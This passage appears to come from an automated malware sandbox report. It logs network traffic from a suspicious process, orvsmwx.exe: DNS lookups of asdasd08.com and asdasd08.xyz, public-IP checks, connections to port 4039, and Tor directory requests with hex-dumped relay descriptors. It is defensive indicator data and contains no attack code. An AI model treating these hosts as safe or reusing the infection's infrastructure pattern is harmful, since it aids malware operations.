Dec 11, 2022 09:26:44.834691048 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:44.835629940 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:44.898545027 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:44.949666023 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:45.117259979 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:45.117974997 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:45.121864080 CET	49752	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:45.165908098 CET	9031	49752	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:45.166029930 CET	49752	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:45.166342020 CET	49752	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:45.213135004 CET	9031	49752	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:45.214689016 CET	9031	49752	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:45.215053082 CET	9031	49752	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:45.215137959 CET	49752	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:45.215481043 CET	9031	49752	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:45.215549946 CET	49752	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:45.230364084 CET	49752	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:45.241658926 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:45.273332119 CET	9031	49752	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:45.275635004 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:45.279022932 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:45.294694901 CET	49753	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:45.324655056 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:45.339333057 CET	9031	49753	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:45.339446068 CET	49753	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:45.339710951 CET	49753	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:45.384524107 CET	9031	49753	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:45.385582924 CET	9031	49753	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:45.385998011 CET	9031	49753	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:45.386063099 CET	49753	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:45.386708021 CET	9031	49753	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:45.386797905 CET	49753	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:45.406357050 CET	49753	9031	192.168.2.3	84.144.111.46
Dec 11, 2022 09:26:45.416913986 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:45.450493097 CET	9031	49753	84.144.111.46	192.168.2.3
Dec 11, 2022 09:26:45.600707054 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:45.616774082 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:45.815568924 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:45.816765070 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:46.050390005 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:46.111815929 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:46.113873959 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:46.118319988 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:46.153305054 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:46.153630018 CET	9001	49739	84.62.245.6	192.168.2.3
Dec 11, 2022 09:26:46.153753996 CET	49739	9001	192.168.2.3	84.62.245.6
Dec 11, 2022 09:26:46.181663990 CET	49754	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:46.349020004 CET	4039	49754	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:46.351825953 CET	49754	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:46.352557898 CET	49754	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:46.518830061 CET	4039	49754	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:46.520083904 CET	4039	49754	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:46.520342112 CET	49754	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:46.520505905 CET	49754	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:46.543919086 CET	49755	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:46.686471939 CET	4039	49754	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:46.711497068 CET	4039	49755	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:46.712984085 CET	49755	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:46.714247942 CET	49755	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:46.880579948 CET	4039	49755	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:46.881377935 CET	4039	49755	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:46.881547928 CET	49755	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:46.882019997 CET	49755	4039	192.168.2.3	34.171.171.32
Dec 11, 2022 09:26:46.914410114 CET	49756	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:26:46.914468050 CET	443	49756	64.185.227.156	192.168.2.3
Dec 11, 2022 09:26:46.914566994 CET	49756	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:26:46.915613890 CET	49756	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:26:46.915656090 CET	443	49756	64.185.227.156	192.168.2.3
Dec 11, 2022 09:26:47.048106909 CET	4039	49755	34.171.171.32	192.168.2.3
Dec 11, 2022 09:26:56.904728889 CET	49756	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:26:56.938946962 CET	49757	443	192.168.2.3	23.128.64.141
Dec 11, 2022 09:26:56.939013958 CET	443	49757	23.128.64.141	192.168.2.3
Dec 11, 2022 09:26:56.939094067 CET	49757	443	192.168.2.3	23.128.64.141
Dec 11, 2022 09:26:56.940105915 CET	49757	443	192.168.2.3	23.128.64.141
Dec 11, 2022 09:26:56.940156937 CET	443	49757	23.128.64.141	192.168.2.3
Dec 11, 2022 09:26:56.946917057 CET	443	49756	64.185.227.156	192.168.2.3
Dec 11, 2022 09:26:57.369183064 CET	443	49757	23.128.64.141	192.168.2.3
Dec 11, 2022 09:26:57.369420052 CET	49757	443	192.168.2.3	23.128.64.141
Dec 11, 2022 09:26:57.376995087 CET	49757	443	192.168.2.3	23.128.64.141
Dec 11, 2022 09:26:57.377032042 CET	443	49757	23.128.64.141	192.168.2.3
Dec 11, 2022 09:26:57.377470016 CET	443	49757	23.128.64.141	192.168.2.3
Dec 11, 2022 09:26:57.378751040 CET	49757	443	192.168.2.3	23.128.64.141
Dec 11, 2022 09:26:57.378787041 CET	443	49757	23.128.64.141	192.168.2.3
Dec 11, 2022 09:26:57.513724089 CET	443	49757	23.128.64.141	192.168.2.3
Dec 11, 2022 09:26:57.513828993 CET	443	49757	23.128.64.141	192.168.2.3
Dec 11, 2022 09:26:57.513912916 CET	49757	443	192.168.2.3	23.128.64.141
Dec 11, 2022 09:26:57.514909983 CET	49757	443	192.168.2.3	23.128.64.141
Dec 11, 2022 09:26:57.514941931 CET	443	49757	23.128.64.141	192.168.2.3
Dec 11, 2022 09:26:57.517896891 CET	49758	80	192.168.2.3	86.59.21.38
Dec 11, 2022 09:26:57.543567896 CET	80	49758	86.59.21.38	192.168.2.3
Dec 11, 2022 09:26:57.543709040 CET	49758	80	192.168.2.3	86.59.21.38
Dec 11, 2022 09:26:57.544032097 CET	49758	80	192.168.2.3	86.59.21.38
Dec 11, 2022 09:26:57.794470072 CET	49758	80	192.168.2.3	86.59.21.38
Dec 11, 2022 09:26:58.107022047 CET	49758	80	192.168.2.3	86.59.21.38
Dec 11, 2022 09:26:58.716414928 CET	49758	80	192.168.2.3	86.59.21.38
Dec 11, 2022 09:26:59.919744968 CET	49758	80	192.168.2.3	86.59.21.38
Dec 11, 2022 09:27:01.122922897 CET	49758	80	192.168.2.3	86.59.21.38
Dec 11, 2022 09:27:02.326112986 CET	49758	80	192.168.2.3	86.59.21.38
Dec 11, 2022 09:27:04.385442019 CET	443	49756	64.185.227.156	192.168.2.3
Dec 11, 2022 09:27:04.385672092 CET	49756	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:27:04.385672092 CET	49756	443	192.168.2.3	64.185.227.156
Dec 11, 2022 09:27:04.732702971 CET	49758	80	192.168.2.3	86.59.21.38
Dec 11, 2022 09:27:07.636111975 CET	80	49758	86.59.21.38	192.168.2.3
Dec 11, 2022 09:27:07.636687994 CET	80	49758	86.59.21.38	192.168.2.3
Dec 11, 2022 09:27:07.636723042 CET	80	49758	86.59.21.38	192.168.2.3
Dec 11, 2022 09:27:07.636810064 CET	49758	80	192.168.2.3	86.59.21.38
Dec 11, 2022 09:27:07.658849955 CET	80	49758	86.59.21.38	192.168.2.3
Dec 11, 2022 09:27:07.658931017 CET	80	49758	86.59.21.38	192.168.2.3
Dec 11, 2022 09:27:07.659024000 CET	49758	80	192.168.2.3	86.59.21.38
Dec 11, 2022 09:27:07.948165894 CET	80	49758	86.59.21.38	192.168.2.3
Dec 11, 2022 09:27:08.266271114 CET	80	49758	86.59.21.38	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2022 09:25:03.649156094 CET	59869	53	192.168.2.3	8.8.8.8
Dec 11, 2022 09:25:03.753731966 CET	53	59869	8.8.8.8	192.168.2.3
Dec 11, 2022 09:25:04.128206015 CET	54397	53	192.168.2.3	8.8.8.8
Dec 11, 2022 09:25:04.234843969 CET	53	54397	8.8.8.8	192.168.2.3
Dec 11, 2022 09:25:04.622323990 CET	59324	53	192.168.2.3	8.8.8.8
Dec 11, 2022 09:25:04.640944004 CET	53	59324	8.8.8.8	192.168.2.3
Dec 11, 2022 09:25:50.584799051 CET	57990	53	192.168.2.3	8.8.8.8
Dec 11, 2022 09:25:50.689662933 CET	53	57990	8.8.8.8	192.168.2.3
Dec 11, 2022 09:25:51.055361032 CET	52387	53	192.168.2.3	8.8.8.8
Dec 11, 2022 09:25:51.164469957 CET	53	52387	8.8.8.8	192.168.2.3
Dec 11, 2022 09:25:51.529150009 CET	56924	53	192.168.2.3	8.8.8.8
Dec 11, 2022 09:25:51.547856092 CET	53	56924	8.8.8.8	192.168.2.3
Dec 11, 2022 09:26:31.319788933 CET	60625	53	192.168.2.3	8.8.8.8
Dec 11, 2022 09:26:31.424376965 CET	53	60625	8.8.8.8	192.168.2.3
Dec 11, 2022 09:26:31.770284891 CET	49302	53	192.168.2.3	8.8.8.8
Dec 11, 2022 09:26:31.786986113 CET	53	49302	8.8.8.8	192.168.2.3
Dec 11, 2022 09:26:32.139075041 CET	53975	53	192.168.2.3	8.8.8.8
Dec 11, 2022 09:26:32.155718088 CET	53	53975	8.8.8.8	192.168.2.3
Dec 11, 2022 09:26:46.160582066 CET	51139	53	192.168.2.3	8.8.8.8
Dec 11, 2022 09:26:46.179779053 CET	53	51139	8.8.8.8	192.168.2.3
Dec 11, 2022 09:26:46.525403023 CET	52955	53	192.168.2.3	8.8.8.8
Dec 11, 2022 09:26:46.542290926 CET	53	52955	8.8.8.8	192.168.2.3
Dec 11, 2022 09:26:46.893528938 CET	60582	53	192.168.2.3	8.8.8.8
Dec 11, 2022 09:26:46.912317991 CET	53	60582	8.8.8.8	192.168.2.3
Dec 11, 2022 09:26:56.916266918 CET	57134	53	192.168.2.3	8.8.8.8
Dec 11, 2022 09:26:56.935348988 CET	53	57134	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2022 09:25:03.649156094 CET	192.168.2.3	8.8.8.8	0x4bdc	Standard query (0)	asdasd08.com	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:25:04.128206015 CET	192.168.2.3	8.8.8.8	0x52ae	Standard query (0)	asdasd08.xyz	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:25:04.622323990 CET	192.168.2.3	8.8.8.8	0xb488	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:25:50.584799051 CET	192.168.2.3	8.8.8.8	0xacb3	Standard query (0)	asdasd08.com	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:25:51.055361032 CET	192.168.2.3	8.8.8.8	0xc8cc	Standard query (0)	asdasd08.xyz	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:25:51.529150009 CET	192.168.2.3	8.8.8.8	0x4a8e	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:31.319788933 CET	192.168.2.3	8.8.8.8	0xcd44	Standard query (0)	asdasd08.com	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:31.770284891 CET	192.168.2.3	8.8.8.8	0xef64	Standard query (0)	asdasd08.xyz	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:32.139075041 CET	192.168.2.3	8.8.8.8	0xd059	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:46.160582066 CET	192.168.2.3	8.8.8.8	0xdb49	Standard query (0)	asdasd08.com	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:46.525403023 CET	192.168.2.3	8.8.8.8	0x7d7b	Standard query (0)	asdasd08.xyz	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:46.893528938 CET	192.168.2.3	8.8.8.8	0xabcc	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:56.916266918 CET	192.168.2.3	8.8.8.8	0x6df9	Standard query (0)	ip4.seeip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 11, 2022 09:25:03.753731966 CET	8.8.8.8	192.168.2.3	0x4bdc	No error (0)	asdasd08.com		34.171.171.32	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:25:04.234843969 CET	8.8.8.8	192.168.2.3	0x52ae	No error (0)	asdasd08.xyz		34.171.171.32	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:25:04.640944004 CET	8.8.8.8	192.168.2.3	0xb488	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2022 09:25:04.640944004 CET	8.8.8.8	192.168.2.3	0xb488	No error (0)	api4.ipify.org		64.185.227.156	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:25:04.640944004 CET	8.8.8.8	192.168.2.3	0xb488	No error (0)	api4.ipify.org		173.231.16.76	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:25:04.640944004 CET	8.8.8.8	192.168.2.3	0xb488	No error (0)	api4.ipify.org		104.237.62.212	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:25:50.689662933 CET	8.8.8.8	192.168.2.3	0xacb3	No error (0)	asdasd08.com		34.171.171.32	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:25:51.164469957 CET	8.8.8.8	192.168.2.3	0xc8cc	No error (0)	asdasd08.xyz		34.171.171.32	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:25:51.547856092 CET	8.8.8.8	192.168.2.3	0x4a8e	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2022 09:25:51.547856092 CET	8.8.8.8	192.168.2.3	0x4a8e	No error (0)	api4.ipify.org		64.185.227.156	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:25:51.547856092 CET	8.8.8.8	192.168.2.3	0x4a8e	No error (0)	api4.ipify.org		173.231.16.76	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:25:51.547856092 CET	8.8.8.8	192.168.2.3	0x4a8e	No error (0)	api4.ipify.org		104.237.62.212	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:31.424376965 CET	8.8.8.8	192.168.2.3	0xcd44	No error (0)	asdasd08.com		34.171.171.32	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:31.786986113 CET	8.8.8.8	192.168.2.3	0xef64	No error (0)	asdasd08.xyz		34.171.171.32	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:32.155718088 CET	8.8.8.8	192.168.2.3	0xd059	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2022 09:26:32.155718088 CET	8.8.8.8	192.168.2.3	0xd059	No error (0)	api4.ipify.org		64.185.227.156	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:32.155718088 CET	8.8.8.8	192.168.2.3	0xd059	No error (0)	api4.ipify.org		173.231.16.76	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:32.155718088 CET	8.8.8.8	192.168.2.3	0xd059	No error (0)	api4.ipify.org		104.237.62.212	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:46.179779053 CET	8.8.8.8	192.168.2.3	0xdb49	No error (0)	asdasd08.com		34.171.171.32	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:46.542290926 CET	8.8.8.8	192.168.2.3	0x7d7b	No error (0)	asdasd08.xyz		34.171.171.32	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:46.912317991 CET	8.8.8.8	192.168.2.3	0xabcc	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2022 09:26:46.912317991 CET	8.8.8.8	192.168.2.3	0xabcc	No error (0)	api4.ipify.org		64.185.227.156	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:46.912317991 CET	8.8.8.8	192.168.2.3	0xabcc	No error (0)	api4.ipify.org		173.231.16.76	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:46.912317991 CET	8.8.8.8	192.168.2.3	0xabcc	No error (0)	api4.ipify.org		104.237.62.212	A (IP address)	IN (0x0001)	false
Dec 11, 2022 09:26:56.935348988 CET	8.8.8.8	192.168.2.3	0x6df9	No error (0)	ip4.seeip.org		23.128.64.141	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

ip4.seeip.org

131.188.40.189

151.20.208.221

77.7.81.140

193.23.244.244

84.144.111.46

86.59.21.38

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49691	64.185.227.156	443	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49718	64.185.227.156	443	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49707	151.20.208.221	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:22.132072926 CET	2680	OUT	GET /tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88 HTTP/1.0 Host: 151.20.208.221 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:22.184287071 CET	2682	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:22 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:25:22 GMT Data Raw: 72 6f 75 74 65 72 20 54 79 6b 52 65 6c 61 79 30 32 20 39 35 2e 32 31 36 2e 31 30 31 2e 32 34 37 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 55 72 41 55 32 49 64 6d 61 4e 62 69 6d 47 58 76 61 35 4e 53 6f 72 42 36 6a 7a 6b 4c 37 77 4d 62 36 6c 57 71 49 57 63 35 2f 74 37 37 4e 57 41 51 41 67 42 41 44 4f 35 49 68 73 0a 61 79 4f 70 57 69 31 62 2f 68 67 65 55 51 74 4b 63 51 34 78 4f 4b 66 79 57 6f 56 4f 54 64 70 2f 39 74 78 33 77 4b 77 55 76 77 47 6a 6c 64 4c 39 49 72 7a 50 77 66 62 76 68 4e 4b 37 30 35 69 47 0a 72 78 79 78 6c 2b 66 4d 69 67 47 4b 54 74 39 30 78 6f 44 76 76 46 51 31 50 51 6f 4a 2b 4b 2b 35 42 78 50 48 54 33 71 49 4d 2f 32 50 73 65 44 41 6a 47 44 35 4e 4b 76 65 35 67 41 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 7a 75 53 49 62 47 73 6a 71 56 6f 74 57 2f 34 59 48 6c 45 4c 53 6e 45 4f 4d 54 69 6e 38 6c 71 46 54 6b 33 61 66 2f 62 63 64 38 41 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 31 3a 34 66 39 3a 32 62 3a 31 35 31 66 3a 39 35 3a 32 31 36 3a 31 30 31 3a 32 34 37 5d 3a 34 34 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 46 72 65 65 42 53 44 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 30 20 32 30 3a 34 37 3a 31 34 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 33 38 43 43 20 39 35 41 38 20 43 45 39 32 20 41 35 39 31 20 44 34 41 35 20 37 37 39 33 20 35 39 42 45 20 46 46 42 41 20 31 33 46 41 20 31 42 38 38 0a 75 70 74 69 6d 65 20 33 30 36 30 30 33 36 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 39 36 34 31 31 31 34 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 44 35 43 39 37 35 32 36 43 30 43 33 43 46 38 46 41 34 39 44 43 39 38 30 37 39 45 33 33 41 35 38 35 35 39 45 45 45 33 44 20 61 74 4d 42 48 32 52 33 36 36 72 76 5a 74 59 6c 71 6c 79 58 62 32 34 6c 37 4a 6f 62 47 44 69 35 4a 51 65 67 39 61 43 70 73 54 30 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 45 46 49 58 78 51 6c 6f 6f 73 51 54 69 48 52 32 48 33 42 76 31 77 4b 68 74 37 38 76 69 34 50 64 38 30 33 70 4e 32 6a 6b 6f 74 78 4c 77 74 66 46 4a 76 49 50 4a 78 0a 52 38 53 32 71 72 31 6a 55 53 6b 59 61 31 56 6b 31 52 52 70 6f 39 79 5a 50 6d 72 63 77 39 54 6d 6c 78 4d 78 75 34 55 4d 44 30 4e 58 6b 36 72 6e 77 61 5a 49 72 36 30 71 79 41 63 50 64 6e 70 34 0a 48 31 50 55 4b 54 77 4a 34 4b 75 6d 49 38 6b 37 34 69 6a 34 43 6c 52 62 38 6b 37 48 73 46 6b 51 6f 62 4a 31 43 2b 4d 61 59 56 53 68 53 32 37 66 49 49 6f 78 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 Data Ascii: router TykRelay02 95.216.101.247 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxUrAU2IdmaNbimGXva5NSorB6jzkL7wMb6lWqIWc5/t77NWAQAgBADO5IhsayOpWi1b/hgeUQtKcQ4xOKfyWoVOTdp/9tx3wKwUvwGjldL9IrzPwfbvhNK705iGrxyxl+fMigGKTt90xoDvvFQ1PQoJ+K+5BxPHT3qIM/2PseDAjGD5NKve5gA=-----END ED25519 CERT-----master-key-ed25519 zuSIbGsjqVotW/4YHlELSnEOMTin8lqFTk3af/bcd8Aor-address [2a01:4f9:2b:151f:95:216:101:247]:443platform Tor 0.4.7.10 on FreeBSDproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-10 20:47:14fingerprint 38CC 95A8 CE92 A591 D4A5 7793 59BE FFBA 13FA 1B88uptime 3060036bandwidth 1073741824 1073741824 29641114extra-info-digest D5C97526C0C3CF8FA49DC98079E33A58559EEE3D atMBH2R366rvZtYlqlyXb24l7JobGDi5JQeg9aCpsT0onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALEFIXxQloosQTiHR2H3Bv1wKht78vi4Pd803pN2jkotxLwtfFJvIPJxR8S2qr1jUSkYa1Vk1RRpo9yZPmrcw9TmlxMxu4UMD0NXk6rnwaZIr60qyAcPdnp4H1PUKTwJ4KumI8k74ij4ClRb8k7HsFkQobJ1C+MaYVShS27fIIoxAgMBAAE=-----END RSA PUBLIC KEY-----signing

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49708	151.20.208.221	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:23.558979988 CET	2689	OUT	GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0 Host: 151.20.208.221 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:23.622694969 CET	2690	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:23 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:25:23 GMT Data Raw: 72 6f 75 74 65 72 20 55 6e 6e 61 6d 65 64 20 31 34 34 2e 32 31 37 2e 39 35 2e 31 32 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 64 68 41 56 35 4d 4f 7a 73 6c 64 30 72 7a 33 74 35 74 63 68 77 6b 4d 35 6e 45 4a 38 30 31 32 42 72 4b 42 59 4b 63 6f 38 4a 31 2f 32 47 42 41 51 41 67 42 41 41 6c 6c 66 4e 36 0a 48 5a 38 4d 73 39 51 59 53 72 4a 36 79 61 66 4e 49 55 43 39 33 4e 49 6b 37 6f 50 49 71 54 4b 50 75 5a 35 61 4c 7a 32 6d 6b 33 79 51 41 42 51 78 78 79 2b 31 66 48 61 52 32 6a 4c 33 53 42 6a 66 0a 4c 33 76 36 30 6f 53 6b 77 6b 6f 5a 6f 6c 5a 51 2b 6c 71 7a 63 33 35 4c 74 6c 66 54 37 62 61 51 69 77 64 58 6f 73 57 39 6f 75 70 39 32 51 74 34 43 70 64 56 36 65 41 6f 74 67 4d 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 4a 5a 58 7a 65 68 32 66 44 4c 50 55 47 45 71 79 65 73 6d 6e 7a 53 46 41 76 64 7a 53 4a 4f 36 44 79 4b 6b 79 6a 37 6d 65 57 69 38 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 36 30 37 3a 35 33 30 30 3a 32 30 31 3a 33 30 30 30 3a 3a 34 39 62 65 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 37 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 